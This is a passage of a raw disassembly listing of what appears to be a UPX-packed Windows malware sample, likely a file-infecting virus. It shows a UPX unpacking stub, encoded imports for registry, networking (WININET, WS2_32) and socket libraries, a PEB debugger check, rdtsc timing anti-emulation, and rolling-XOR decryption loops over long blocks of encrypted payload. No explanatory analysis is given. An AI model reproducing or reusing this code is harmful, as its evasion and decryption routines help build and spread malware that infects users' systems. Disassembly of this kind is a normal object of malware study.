21E784D8h dd 820E010h, 0C51F6EDh, 0BE6E6241h, 50A9A110h, 6E5504E4h dd 9851AC06h, 7774632Dh, 0BF108936h, 0A17DB66h, 0E611244h dd 1B66697Eh, 79B63AD6h, 758F67CAh, 6F6C362Bh, 0CE436F61h dd 112C796Fh, 708D036Fh, 8F521067h, 0F90DD00Eh, 14B48F67h dd 75716341h, 0E7057269h, 494D874Ah, 133AA035h, 9A7C336Dh dd 7273ECDEh, 0B26D06CAh, 1CE18B16h, 0F920E35h, 9DA15B53h dd 5F1D4DB9h, 5F3F5844h, 87033173h, 27F9F668h, 2CE20702h dd 727911B4h, 6633E9AEh, 46C49AB9h, 361D514Dh, 274D01CCh dd 14150E65h, 2E304C20h, 0BBB4E70Ah, 49DCB615h, 5708466h dd 4F4166B1h, 669C620Eh, 5A0424F4h, 0F6D85B0h, 419B5585h dd 0B0DC0E11h, 14671484h, 986E196Bh, 496E031Ah, 81745343h dd 9632508Ch, 3C0D471Ah, 50D6CB2Ch, 2027375h, 2CB2010Dh dd 6F39B2CBh, 0CA0C1734h, 9CB2CB2h, 16101304h, 0A41D5B3Fh dd 96455036h, 40D5FD4Ch, 3A3E5F0Bh, 0B01E04Ah, 26120601h dd 3B3D82C4h, 0B230E13h, 0BE8CB625h, 20B0756h, 0B99D074Ah dd 0C506F65h, 8110341Eh, 781BD97h, 2CF40006h, 20376C9Bh dd 7C648C64h, 76C11E01h, 552E2B8Fh, 90241607h, 0A92304DEh dd 49F1726h, 0EC642EE0h, 0E13DD60Bh, 2BFB0FA7h, 0E259272Ah dd 0C0162DD7h, 2A2EFC04h, 0C3h, 1200080h, 0FF00h, 5000BE60h dd 0BE8D3160h, 0FFFFC000h, 0FFCD8357h, 909010EBh, 90909090h dd 8846068Ah, 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh dd 1, 775DB01h, 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B0975EFh dd 0FCEE831Eh, 0E473DB11h, 0E883C931h, 0C10D7203h, 68A08E0h dd 0FFF08346h, 0C5897474h, 775DB01h, 0EE831E8Bh, 11DB11FCh dd 75DB01C9h, 831E8B07h, 0DB11FCEEh, 2075C911h, 75DB0141h dd 831E8B07h, 0DB11FCEEh, 0DB01C911h, 975EF73h, 0EE831E8Bh dd 73DB11FCh, 2C183E4h, 0F300FD81h, 0D183FFFFh, 2F148D01h dd 76FCFD83h, 42028A0Fh, 49470788h, 63E9F775h, 90FFFFFFh dd 0C283028Bh, 83078904h, 0E98304C7h, 1F17704h, 0FF4CE9CFh dd 895EFFFFh, 7DB9F7h, 78A0000h, 3CE82C47h, 80F77701h dd 0F275013Fh, 5F8A078Bh, 0E8C16604h, 10C0C108h, 0F829C486h dd 1E8EB80h, 830789F0h, 0D88905C7h, 0BE8DD9E2h, 4000h dd 0C009078Bh, 5F8B4574h, 30848D04h, 6000h, 8350F301h dd 96FF08C7h, 608Ch, 47078A95h, 0DC74C008h, 779F989h, 4707B70Fh dd 57B94750h, 55AEF248h, 609096FFh, 0C0090000h, 3890774h dd 0EB04C383h, 9496FFD8h, 61000060h, 0FFB671E9h, 0FFh dd 0D8h dup(0) UPX1 ends ; Section 3. (virtual address 00007000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 00007000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31607000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 70C4h, 708Ch, 3 dup(0) dd 70D1h, 709Ch, 3 dup(0) dd 70DEh, 70A4h, 3 dup(0) dd 70E9h, 70ACh, 3 dup(0) dd 70F4h, 70B4h, 3 dup(0) dd 7100h, 70BCh, 5 dup(0) dword_3160708C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_316128AF+5Fr ... dd 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 5AE85Bh, 648B0000h, 0EBB80824h db 4, 0 dword_3160720E dd 64FAEB00h ; --------------------------------------------------------------------------- mov eax, ds:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_3160725F call $+5 xchg eax, ebx pop ebp sub ebp, 40232Ah mov eax, [ebp+402372h] add eax, [ebp+40237Ah] mov esi, eax mov eax, [ebp+402376h] add eax, [ebp+40237Ah] push eax mov edi, esi xor ecx, ecx loc_3160724E: ; CODE XREF: UPX2:3160725Dj lodsb xor al, [ebp+402382h] stosb inc ecx cmp ecx, [ebp+40237Eh] jl short loc_3160724E locret_3160725F: ; CODE XREF: UPX2:31607220j retn ; --------------------------------------------------------------------------- dd 0FF64C02Bh, 20896430h, 345678B8h, 38712h, 40000050h dd 6Bh, 316000h, 6000001Eh, 760h dup(0) ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+2FCBh], ebx test dword ptr [eax+2886h], 80000000h mov ebx, [esp+4] jz short loc_3160904C pop ecx mov [eax+2FCFh], esi push edi pop dword ptr [eax+2FD3h] cmp byte ptr [eax+288Ah], 0E8h jnz short loc_31609043 add ebx, [eax+288Bh] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3160904B ; --------------------------------------------------------------------------- loc_31609043: ; CODE XREF: UPX2:31609034j mov ebx, [eax+288Ch] push dword ptr [ebx] loc_3160904B: ; CODE XREF: UPX2:31609041j pop ebx loc_3160904C: ; CODE XREF: UPX2:3160901Dj push ebp mov ebp, eax sub dword ptr [esp+4], 1E05h sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+363898h] mov ecx, 0D9h rep movsb call sub_316090C1 mov ecx, eax call sub_316090C1 sub eax, ecx jz short loc_31609095 cmp eax, 100h ja short loc_31609095 lea eax, [ebp+3610D4h] mov dl, [eax-10h] call sub_316090C5 jmp short loc_316090D4 ; --------------------------------------------------------------------------- loc_31609095: ; CODE XREF: UPX2:3160907Cj ; UPX2:31609083j test dword ptr [ebp+36388Bh], 80000000h jz short loc_316090BF lea esi, [ebp+36388Fh] ; CODE XREF: UPX2:316090F6j ; UPX2:316090FFj mov edi, [esp+4] movsb movsd mov esi, [ebp+363FD4h] mov edi, [ebp+363FD8h] mov ebx, [ebp+363FD0h] loc_316090BF: ; CODE XREF: UPX2:3160909Fj pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_316090C1 proc near ; CODE XREF: UPX2:3160906Ep ; UPX2:31609075p rdtsc retn sub_316090C1 endp ; --------------------------------------------------------------------------- db 88h ; =============== S U B R O U T I N E ======================================= sub_316090C5 proc near ; CODE XREF: UPX2:3160908Ep mov dh, dl mov ecx, 27B7h loc_316090CC: ; CODE XREF: sub_316090C5+Cj xor [eax], dl inc eax add dl, dh loop loc_316090CC retn sub_316090C5 endp ; --------------------------------------------------------------------------- loc_316090D4: ; CODE XREF: UPX2:31609093j or ebx, esi cwde rcl byte ptr [edi-31h], 1 cmp [ebx], edi xchg al, [eax+esi*4] or [ebx-1CFE0FFCh], ebx nop sbb [eax+4BD7C528h], esp mov edx, ebx sbb ebx, esp push cs jno short loc_31609133 push eax int 65h ; reserved for user interrupt jz short near ptr loc_316090A1+2 clc dec eax mov ebx, 0F8224393h jmp short near ptr loc_316090A1+2 ; --------------------------------------------------------------------------- db 68h, 0FBh, 73h ; --------------------------------------------------------------------------- pop ecx cmp eax, 314E631Bh inc eax retn 803Ch ; --------------------------------------------------------------------------- dw 0E92Dh dd 6F7D88E9h, 54FC51EBh, 1952D2ADh, 6CF19395h, 0A48AFBCCh dd 0AFEB9351h, 4B76B49Fh, 1B5BCC32h db 0E3h, 0C4h, 0FFh ; --------------------------------------------------------------------------- loc_31609133: ; CODE XREF: UPX2:316090F1j add edi, [ebx-8] xchg eax, esp and [eax-58D304D0h], ch and edi, [ebp-63E176D8h] in al, dx insd nop dec ebx pop edi ; --------------------------------------------------------------------------- dd 0EEBD39FEh, 858E673h, 78F065h, 41FD62CBh, 36FD55DCh dd 21AC3EADh, 560723E8h, 9B2A1581h, 0CDD0B01Eh, 0A758D048h dd 6134840Dh, 52DD64FBh, 40CA5FDAh, 0E90EAF9Bh, 0B6C3466Dh dd 0A3DB7808h, 0BDB028h, 1F5B5447h, 0FF280F97h, 16A3261Dh dd 4F78B5A8h, 60DBD14Dh, 0AD45F0E8h, 0A118A61Dh, 75C7A45Dh dd 0E06EEF98h, 15557D96h, 0A51710BEh, 408E252Ch, 0C55B5723h dd 80CE656Ch, 0D4BD1308h, 0C038863Dh, 0F52075CBh, 8378F05Eh dd 168D6C2Dh, 86EF30A8h, 56CA824Dh, 357171E8h, 0A02EAB32h dd 0D5C805A5h, 296BD07Eh, 3B3E4DE5h, 2910BEh, 40BBBB40h dd 0F5270FC8h, 80CE4B6Eh, 0AF0778C9h, 0C03864ACh, 0F41F5B48h dd 0C37BB002h, 208810E0h, 7E3DB9A0h, 8D866F3h, 80F81F18h dd 35E79062h, 0C00E8B96h, 645710CDh, 78F286h, 202D9D1Fh dd 0CBB806B8h, 6B24E927h, 6D7970E8h, 0A02E8008h, 0D26A25A5h dd 45ABD07Eh, 0ECFB1297h, 4A649BA8h, 197803A0h, 7BE1C545h dd 2B0B70DEh, 0F7916C83h, 0DC7F4E38h, 0E05BB81Fh, 9587F069h dd 20AE2BB6h, 0C598F42Bh, 0FF5C5F08h, 17F870EAh, 0A1729062h dd 0C03CB040h, 0E058B8C8h, 9587F069h, 20AE2BB6h, 0C4B7F02Dh dd 60D8524Ah, 0E8A87082h, 0A01C9008h, 28F9B042h, 0E1328744h dd 799838h, 0B5671089h, 408E0B96h, 61D85AA0h, 0BE6D8FE8h dd 4818A633h, 0C038B02Dh, 0E05A81A1h, 59789A68h, 2AF21A6Bh dd 7B0AA557h, 913350FEh, 0DE45F32Bh, 0A018A633h, 0C20C3427h dd 0E6B0D048h, 4E78F068h, 6CD454DCh, 3A2DCFA8h, 0EDD866F3h dd 0B6EFBA5Dh, 2DD1A308h, 0F6037695h, 73566148h, 7A8380h dd 0DA259388h, 40B80693h, 62D8D4C7h, 57370E8h, 0A02EABC2h dd 4F39C0D7h, 0D66F32CDh, 0E2FD7B68h, 0DF9826B3h, 0C53731D8h dd 60EE68E7h, 0BB36F563h, 0D0E7903Eh, 0F6BD3F29h, 6B58E670h dd 364322E5h, 0DF82F388h, 0C53731D9h, 60EE688Bh, 0BB22FD63h dd 0A9FB903Eh, 4F39C1D7h, 0D66080CDh, 1C01868h, 9D151088h dd 408E0CF8h, 60B29F43h, 0F007A91Eh, 0A3F9130Ch, 393BF042h dd 8A58BA1Fh, 0D7CD7D70h, 9998269Dh, 40B830B1h, 9E955445h dd 0E6078F17h, 0ED1C1DA3h, 0C038B028h, 0A7D57B2Eh, 0E44A5B6Ch dd 1A648505h, 2614309Eh, 0CBBE5241h, 62FAB26Bh, 0CACC1BFDh dd 0AFC8D828h, 2CD3D048h, 0C4F3F002h, 20F010E2h, 2AB030A8h dd 0A8A0188h, 150720E6h, 0A02EABDEh, 80FC3370h, 0E0372020h dd 6AAC7B68h, 4A549B88h, 2AB85AE8h, 60B202CAh, 80978080h dd 0F118FA08h, 3F684F42h, 0D6630EDDh, 8521AF68h, 271C1F77h dd 0CDB830A9h, 56C8507Dh, 8B04C9E8h, 4F939008h, 2DB915DBh dd 0E06EC048h, 144075E5h, 0C06710BEh, 60D264F8h, 0F527AFA2h dd 80CE4B0Eh, 0D547508Dh, 0C175581Ch, 0F1B0D048h, 5378F068h dd 42FD54EDh, 32E857DDh, 0CB126A1h, 809D178Dh, 0A556785Fh dd 75C7B028h, 0E06EEF1Ch, 3B126597h, 0DFCF10BEh, 76831E3Dh dd 0AD83AC8h, 0DE6D8FEAh, 1918A633h, 0C038B100h, 69B9FBDFh dd 572CD464h, 1B3A8577h, 0B68B309Eh, 5CE6F54Bh, 0D4F870DEh dd 68D6F5Fh, 45388613h, 0A63EA488h, 727C0EEBh, 4ECEF66h dd 2AB85AA0h, 0FE4DAFE2h, 5F846D3h, 33C4E4C8h, 0C03D36C0h dd 7191E348h, 8541CA8Bh, 20AE2CB6h, 3C3902DDh, 13BB74ECh dd 0A88C039Ah, 0AE8C5189h, 9468B028h, 0B0098618h, 9587A338h dd 20AE2BDEh, 34E1F02Dh, 44ACAFC7h, 0BE7DFFE0h, 4818A634h dd 3FC74DEDh, 0CECD2F1Bh, 0EB78C653h, 85C9106h, 17B830A9h dd 5BF6C537h, 150770DEh, 0A02EAB26h, 3FC3D8C1h, 8A02D0B7h dd 6A789A68h, 48987A88h, 40BC30A9h, 60B29443h, 0BF41AB8h dd 0F6FA6FCCh, 0C00CEF50h, 891E348h, 0FF870FB2h, 35DF8505h dd 11EA309Eh, 0F5270099h, 80CE4BDAh, 6338548Bh, 0C060E870h dd 0E058FFB8h, 78FE37h, 20981089h, 40B830A8h, 60D850C8h dd 80F85863h, 0A0189008h, 3F6BE679h, 0D663EADDh, 0AC215B68h dd 0DBEDD00Ch, 0CD7BDE4Ah, 56C1215Dh, 150722E8h, 0A02EAB9Ah dd 0FF6C35A1h, 0F6B0D07Eh, 4C78F068h, 55F37FE7h, 29CA60D8h dd 5B439BEh, 0E1AE158Fh, 0E17DE564h, 55C7E028h, 0E06EEB72h dd 3F2075E1h, 7C5B10BEh, 25CB51EAh, 5B53186h, 0EA9A3F8Ch dd 0D36CF36Dh, 934CE674h, 0E02CB32Dh, 720C8304h, 20F675E4h dd 21DD42EBh, 99E35BCh, 80B91584h, 0C17DE24Bh, 0A97ED55Ch dd 8115B524h, 6E118018h, 639851EFh, 34D955DAh, 0FAA00ADh dd 0F38B158Bh, 0D25B9049h, 0A54CD14Dh, 8F35B51Ah, 682C951Ch dd 44F975FAh, 25CA73A8h, 34BD24A9h, 0E19D0280h, 0D25B906Ch dd 0A54CD14Dh, 8C37BF1Ch, 70149500h, 4ECB22BBh, 28CB40C9h dd 25D824A7h, 0D48C1990h, 0C17DE260h, 0A97EB04Ch, 890CB524h dd 6F2C9505h, 54EB69DBh, 29EC5DCDh, 26D835A5h, 0CC9D159Ah dd 0C16AF261h, 8738C95Ah, 891EA42Dh, 74399504h, 42F162FCh dd 33DD44DDh, 59F5089h, 0EC91369Ch, 0DA71C36Dh, 0A57FB04Dh dd 8C31963Ch, 6D11A40Dh, 45DF10EDh, 24D77DDCh, 28BD3CBDh dd 0EC9C1E89h, 0E718D16Dh, 0A56CC44Dh, 891EA025h, 61369504h dd 20D975E5h, 14CC55EFh, 30A83DADh, 0C1900489h, 0D47DD708h dd 0B34AD57Eh, 0E036BF21h, 560C952Fh, 49EB62EDh, 38FD5EC7h dd 59F5089h, 0EC97269Ch, 0E97DFD7Dh, 0B257D646h, 892CB125h dd 399E07h, 44F97FC4h, 32DA59E4h, 21A122A9h, 0F0993DE8h dd 0D77DF95Eh, 0A97ED667h, 0AF58B524h, 46169518h, 6DFD7CE1h dd 29C840C9h, 609937A6h, 0EE9D00A7h, 0C377E258h, 0C04BC34Dh dd 8337A218h, 330B830Dh, 52F156BAh, 10B844DBh, 5BB3FBAh dd 0B2CB039Bh, 0D460F546h, 0B45DE328h, 8534B90Eh, 720C8429h dd 54ED72E1h, 40F943CDh, 26AC359Bh, 0D49D1C81h, 0A07DFD61h dd 0A55DDC7Bh, 990BD038h, 6D1D841Bh, 45F579DCh, 29FE5FFCh dd 98C35A4h, 0D5F81585h, 0D079FD66h, 0B75DD97Eh, 891EB607h dd 56789504h, 55EC62E1h, 2CF95CC9h, 60BB3FA4h, 0F49102BFh dd 0CC71D66Dh, 0B476B04Dh, 9532B409h, 7228841Bh, 4CF166E1h dd 33DD57CDh, 5B33F9Ch, 0F4B67086h, 0C17DE24Bh, 0A97ED55Ch dd 0AE58B524h, 650AB31Ch, 70FD64E9h, 25DB5FDAh, 2ED823BBh dd 0E58A339Ch, 0F07DE469h, 0A55BDF5Ah, 981DA33Bh, 430CBE68h dd 54F975FAh, 23DD63CDh, 0EB739BCh, 0C38C3EE8h, 0D479F57Ah dd 0A54BE54Dh, 8F2A803Ah, 730B950Bh, 6DEC5E88h, 29EE40C9h dd 69727ADh, 0F49B15BBh, 0A076FF61h, 0B077C466h, 891EBE2Dh dd 4E789504h, 45E85FFCh, 2FCA60C6h, 13AB35ABh, 0E5931FBCh dd 0D4569066h, 0AE5DC067h, 943BB51Bh, 169F01h, 52C864C6h dd 23DD44C7h, 12B106BCh, 0EC99059Ch, 0CF75F545h, 8E38C95Ah dd 852D813Ch, 6E31891Ah, 4DEA7FEEh, 2FD144C9h, 0BB704A6h dd 0CEF81E8Dh, 0C96AC77Ch, 0A96ED55Ch, 812DA43Ah, 6D1DBD04h dd 20E162E7h, 15D444FAh, 0FBB39A6h, 0F4AB158Ch, 0C776F97Ah dd 0AE79DF7Ch, 940BB93Bh, 6716991Ah, 61CB4788h, 32D944FBh dd 60A825BCh, 0F3971C8Bh, 0C377E36Dh, 0C04CD543h, 8E36BF2Bh dd 0C930Dh, 48EC75EFh, 22CC43C7h, 0DB93EB1h, 0E58A708Dh dd 0D318E66Bh, 0C05CDE4Dh, 8B3BBF3Bh, 4978840Dh, 52FD64E6h dd 3CC55C6h, 5AB3FA4h, 0E49611A0h, 0E918F564h, 0B25DC446h dd 0A72CB526h, 6F3B840Dh, 43FD7EE6h, 13DC55DCh, 5AC31BCh dd 0F49639E8h, 0C576E26Dh dd 0A548FF5Ch, 0A9589126h, 721D8406h, 6FEC75E6h, 15D655D8h dd 60993CBAh, 0E58C1EA1h, 0D47DFE7Ah, 0A459D57Ah, 8534B90Eh dd 563CB168h, 13D140C9h, 0CFC1E9Ah, 58A5084h, 0EF94338Fh dd 0C553F57Bh, 0A56AB051h, 85289F2Fh, 791DBB06h, 20D968CDh dd 11DF55FAh, 19AA35BDh, 0F59411BEh, 0E160D56Dh, 0A75DE228h dd 0B62CB51Bh, 650D9C09h, 20D968CDh, 2A4E03FEh, 0EB8E06CAh dd 0D2F91A3Ch, 0F600E2F7h, 0FF6025D7h, 24D3D07Eh, 502EA63Eh dd 38E8EFDEh, 7B7EA557h, 0A45B50FEh, 883A2EF8h, 5B511D08h dd 0A8697803h, 858D048h, 35CBCE5h, 25F210E2h, 2AEB60F9h dd 3014DBCDh, 0D4A8A463h, 0F249D062h, 2EAD4F7Bh, 6358E673h dd 9587FCACh, 20AE2B7Eh, 83B0F42Bh, 5A24C545h, 49CB70DEh dd 0C84A9062h, 0C00AB018h, 0B10914C3h, 5128B002h, 0E01B08E2h dd 4ED264A0h, 8A4DAF98h, 3F846D3h, 722BB0CCh, 593770ADh dd 0B882278Ah, 57BB324Bh, 0E170EFBBh, 4F47CF57h, 60D8F54Ch dd 709020E8h, 2B189067h, 4B38DAFCh, 8818BA84h, 68F068h dd 4ACA12E2h, 2F4858A8h, 60B250C8h, 7FA823B9h, 96234E9Dh dd 3F61EF28h, 0D663FEDDh, 74877568h, 5C159BF9h, 0A3B806BDh dd 604DDDC4h, 83F846F8h, 5F4BC7D9h, 0ABD3BFAh, 6D58E673h dd 5F11E7h, 0DFB3F888h, 0C533CF57h, 60EE6B2Ah, 0A8D6FF65h dd 0BAF09008h, 4BC74FD7h, 0D6631ECDh, 35F77D68h, 0C89810A0h dd 0BF47CFA1h, 5B0AD543h, 407D70DEh, 2F95B07Ch, 0C038986Ah dd 1FA624A0h, 0DAFD7B97h, 0A59826B3h, 0CDB34468h, 60F01F47h dd 7E2798E8h, 67936FF7h, 286D7377h, 0E058D048h, 10957135h dd 13982693h, 0D43DBD61h, 31D866D6h, 0D0A921BCh, 35E7C159h dd 0C00E8B72h, 1F7CD4CFh, 3643DEFDh, 245A4D88h, 405065A8h dd 3DD850C8h, 9BC79D69h, 5F72903Eh, 0DB3225A5h, 0B208D07Eh dd 5CD0A5h, 0E41B10A2h, 0C57F56A4h, 60EE4B98h, 53F5025h dd 0A02E8B5Ah, 0C012B00Ch, 0FA321315h, 711830h, 62151088h dd 89469AC9h, 91BA0BDh, 0B6C4387Dh, 0A89C9508h, 55B1F220h dd 0E06EEC00h, 55BB129Fh, 20981060h, 0AD396DA8h, 60EE4B51h dd 0BCB4ED63h, 0DC9B903Eh, 0CF38B80Ch, 0E05869CCh, 8947168h dd 7498108Ah, 40B934C0h, 0E24DAFC8h, 0BF846D3h, 849C1DF4h dd 0C038B12Ch, 858BA18h, 78F06Ch, 20CA42DEh, 3E2DCFFFh dd 53D866F3h, 846FFD21h, 0F1189009h, 913ADA79h, 0E030D122h dd 5238F068h, 1BD28577h, 0C52E309Eh, 3083243Eh, 81FC18BCh dd 5F4F9008h, 0C218949Ch, 75A7D048h, 4ECC42h, 545895D1h dd 10ACD3BEh, 60B28443h, 0D6AF21BAh, 9BDA05F7h, 4561B01Eh dd 0B688A588h, 3B566597h, 771510BEh, 2AEF62ECh, 0F755088Ch dd 80F871ECh, 0CAD8A3A3h, 6BCBE938h, 0B0088018h, 5228A038h dd 1BCA8577h, 8439309Eh, 60D852C0h, 88DC0417h, 9C0205F7h dd 3F6BB01Eh, 0D664CADDh, 4BAAD68h, 2AA69088h, 0CBFE31DDh dd 56CD2845h, 0DE193E8h, 9608909Dh, 96E9B328h, 20DC02B7h dd 1677867h, 0A4971088h, 40B831B8h, 15E26E48h, 0BE7836F8h dd 0A19C9F08h, 4038B029h, 112DF076h, 5046712Eh, 55DF5EC1h dd 8677BBEAh, 4B97518Eh, 80922126h, 5F4BC659h, 0F604A2BDh dd 21638948h, 0A77567h, 0A5151088h, 408E2E20h, 6CB050A2h dd 0D0F870E8h, 0B28D6F5Bh, 0FD388614h, 0E058D044h, 0C77567h dd 91711088h, 0C1B830A8h, 298A00F6h, 257D7FBEh, 23189008h dd 0FC94B8EEh, 79DCDF45h, 3C78F068h, 8C6B65A8h, 0C5B70A94h dd 60D85044h, 0A0D87D45h, 8125B028h, 0B54CD54Fh, 0C0647C37h dd 7EF98C1Dh, 54F03077h, 0C1C945DCh, 5AA853B6h, 0E88D5FC7h dd 0A0E7D7CEh, 0D0828127h, 1758D06Fh, 9587A28Ah, 20AE2B3Ah dd 10E8F09Bh, 69300098h, 0C4F870E8h, 0CC76E767h, 0C05CD147h dd 0DC7A45B7h, 0C0FDF05Eh, 0E9AB26FCh, 7CF4B521h, 88950FEh dd 0F872E8h, 0F04EC159h, 0FC1E25D7h, 75D5D07Eh, 4EEBFBh dd 745123D8h, 11EA60F9h, 3A4DAF99h, 7F846D3h, 35E7B40Ch dd 0C00E8B06h, 6DD813B0h, 4EE503h, 4A5BE989h, 0BFB95AA9h dd 64ABAFFBh, 407D6517h, 7B2BCA7Ch, 0CB8B60A3h, 6D64804Bh dd 366547DDh, 2C229B88h, 0CBB830A9h, 60D95842h, 0AB0073E8h dd 6B93F0C3h, 0B45916DBh, 15BA974Dh, 0C7FBDE83h, 0EC134387h dd 106CBBFFh, 31983A9Ch, 7F071ABAh, 96237E9Dh, 0A2B53B28h dd 6358E673h, 0CF53FCACh, 0E79FF90Bh, 0A8B85AAFh, 6397D9C8h dd 0C6B7232Bh, 0F259C75Ch, 0A975EC6Dh, 9337A22Bh, 5C0C9607h dd 44F679DFh, 1CCB47C7h, 12AA258Bh, 0D68C1E8Dh, 0C96BE26Dh dd 8564DE47h, 8F34A030h, 0A951Ah, 47EA71DCh, 2FF044CDh dd 62D824BBh, 0D5A870E8h, 0C9C81F7Ah, 0EE5CD35Ah, 863DB932h dd 148046h, 6BDB59C6h, 32DD5C88h, 17A936AAh, 0D3AD7A8Ch dd 0C738C24Dh, 8E71FF62h, 892EF668h, 0A0D841Ah, 2098F8DDh dd 0C1E530A8h, 56C6CA25h, 0EB7DB6E8h, 0A018A61Dh, 0FBBE25D7h dd 899D07Eh, 6A448477h, 1E2D9B96h, 19B80693h, 15F66C64h dd 0BE7916C2h, 836D8DF7h, 0FC7A0DA5h, 96D3D07Eh, 66DDA76Ah dd 971D9D2Dh, 0CFB8069Fh, 56EF8D4Dh, 0C6718AE8h, 5E561CF2h dd 223901D3h, 8083B87h, 0FF870B40h, 28BC6C0Bh, 0A8FC45ACh dd 60D850C0h, 0AEBB36BBh, 0A054DC4Ch, 0FBAA25D7h, 2053D07Eh dd 6AEBFD1Ch, 0B567438Ah, 408E0B92h, 884B8037h, 7F078E76h dd 0A0189BE0h, 837EE328h, 0CE0B9F17h, 34BC2Ch, 1B0A8577h dd 0C350309Eh, 8827AF36h, 7F0786E1h, 0B2CA1DF7h, 90BB01Eh dd 0DFB455C5h, 5129F05Eh, 71C841D9h, 0D54761F9h, 60EE6B46h dd 80F87B00h, 0E54BC508h, 0EE0A837Ah, 0E0149C0Ch, 3BEA6597h dd 2A7010BEh, 37B830A8h, 9AA20BBh, 0C19E0486h, 35E7C008h dd 0C00E8B12h, 0DB1A55C1h, 3177F05Eh, 39E99D05h, 0C531309Eh dd 60EE6C80h, 126D8FB9h, 3318A633h, 0C038B440h, 9EED5D48h dd 5978C671h, 1CB6AD05h, 8950309Eh, 627AF3Dh, 9E99F52Fh dd 0F018903Eh, 0DE5B15ABh, 6D58D07Eh, 3666D1FDh, 4ACC4088h dd 12B85AA9h, 60D852A0h, 0B26D8F68h, 2518A634h, 0E24DEAE8h dd 0FE0C5DC5h, 6A2AF05Eh, 412D9D8Eh, 14B806B6h, 3188009Eh dd 0B66D8FBAh, 0F818A634h, 0FC1625D7h, 659ED07Eh, 4ECE27h dd 2094F888h, 13EF30A8h, 53931387h, 0CCBC5EDAh, 35E79044h dd 0C00E8BBAh, 0E05FB8DBh, 0B5F5F068h, 20AE085Dh, 0BE05BDF1h dd 88D866F3h, 7F0785ACh, 0A0189CE0h, 8E71E728h, 0B41D9E01h dd 4C34B446h, 0B20DEF88h, 0C5B80693h, 555C5F08h, 13F870EAh dd 0A0189560h, 0D38D3D28h, 0B958E651h, 3C624DE5h, 2D7010BEh dd 0C347CF5Dh, 56E44E75h, 4F770E8h, 0A0189218h, 0C1A85CA9h dd 880CD048h, 78F169h, 1B668577h, 8439309Eh, 60D85158h dd 0EA2CFBB8h, 35E7C208h, 0C00E8C36h, 950110CDh, 13F09865h dd 0B5671088h, 408E0B1Ah, 0DD5BB223h, 80CE6E8Bh, 2D31E508h dd 0F626D7ADh, 75A78048h, 4ECC62h, 0A497D00Dh, 40B83121h dd 0EBD41043h, 0FC88FE8h, 9606F38Dh, 8FBD7628h, 0E158E676h dd 112F002h, 0B56712E2h, 408E0CBEh, 6F27A84Bh, 80F9106Ch dd 35950308h, 0C00EAE77h, 0B30AC022h, 3C7E6597h, 0E01D10BEh dd 41F8B5A7h, 0DD5550C8h, 80CE6E91h, 0E3F098B9h, 0A8C74FD2h dd 0E058D0DCh, 899EDB36h, 0DFCC34BCh, 7683BA3Dh, 0E765DDC8h dd 31F846F6h, 5A3C7809h dd 55B54FD7h, 0E06ECE3Ch, 1410F002h, 72981088h, 522DCFFBh dd 0EDD866F4h, 0DEC54ACh, 96277C9Dh, 7637E028h, 0C41C5B42h dd 898317Ch, 32995A8Ah, 0AAA32E2h, 449C5BCBh, 8F19F0E0h dd 0F11070C9h, 0D01CF423h, 6D08E2B7h, 3644A0D5h, 2084F888h dd 6E9D30A8h, 4EF828FEh, 0BAD85EC8h, 8E3DB52Dh, 0B81DC810h dd 0EA2BF568h, 4E31BF22h, 0DFCF10A8h, 7683723Dh, 0CC1CD1C8h dd 0EAF870E8h, 0F34FC008h, 0FC2A25D7h, 6DD3D07Eh, 4EE5ECh dd 3B7B10E2h, 11B5F9C3h, 60D85520h, 0E4DD56E8h, 5F4F9002h dd 0F603F2BDh, 0EC9C5348h, 68731B38h, 2098108Fh, 5E358D25h dd 338F50FEh, 0BCEAE517h, 609D903Eh, 75B5E456h, 0E06EEC18h dd 15FC55EBh, 0AD9810BEh, 76867F25h, 0A167BC8h, 0D3AE21E8h dd 9C1605F7h, 38BBB01Eh, 7177AE48h, 0B5F50EE3h, 20AE2CD8h dd 0EE4A3D18h, 88B840BDh, 7F078AD9h, 430FE269h, 0C14F3D21h dd 2FD33AA3h, 0BDF53E43h, 20AE2CD8h, 0B73F945Bh, 9F8BE923h dd 0B6C4727Dh, 0CBA51008h, 0C138863Dh, 0D030FA3Ch, 0FF78F01Dh dd 16A3A21Dh, 0F05B0A8h, 60D866F6h, 53F619Ch, 0A02E8E6Bh dd 0C038B028h, 0DE17558Eh, 0E978F05Eh, 0DF67EE80h, 55CCB56Fh dd 60D850FEh, 42A5F0E8h, 0AA15900Ch, 0AF569067h, 8F78BE27h dd 6914D00Eh, 0B975EEh, 29CC10E7h, 14F835A5h, 0E59B5087h dd 0D27AF564h, 0E15DC449h, 0C078DA45h, 4F58D048h, 4DED63A8h dd 60CA55C5h, 4AA31AFh, 8DD91E8Dh, 0CC7DC202h, 0AC4CDE4Dh dd 8C2BA32Dh, 6110D011h, 0E160F8h, 60DC5EC9h, 5A828ADh dd 0EE99048Bh, 0D338BC7Ch, 0A456D15Ch, 0DA3FBE21h, 0A75DD48h dd 